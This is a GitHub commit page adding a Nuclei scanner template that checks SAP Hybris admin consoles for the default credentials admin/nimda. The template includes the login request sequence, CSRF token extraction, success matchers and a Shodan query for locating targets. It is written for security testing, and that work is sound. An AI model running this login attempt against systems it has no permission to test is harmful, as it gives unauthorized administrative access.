Merge pull request #4969 from projectdiscovery/hybris-default-login

Create hybris-default-login.yaml
patch-1
Prince Chaddha 2022-08-01 10:12:34 +05:30 committed by GitHub
commit c5b3296ec4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 61 additions and 0 deletions

View File

@ -0,0 +1,61 @@
id: hybris-default-login
info:
name: Hybris Default Login
author: princechaddha
severity: high
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
shodan-query: title:"Hybris"
tags: default-login,hybris
requests:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |
POST /j_spring_security_check HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}login
j_username={{username}}&j_password={{password}}&_csrf={{csrftoken}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
attack: pitchfork
payloads:
username:
- admin
password:
- nimda
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- "hybris administration console"
- "You're Administrator"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrftoken
internal: true
part: body
group: 1
regex:
- '<meta name="_csrf" content="([a-z0-9-]+)" \/>'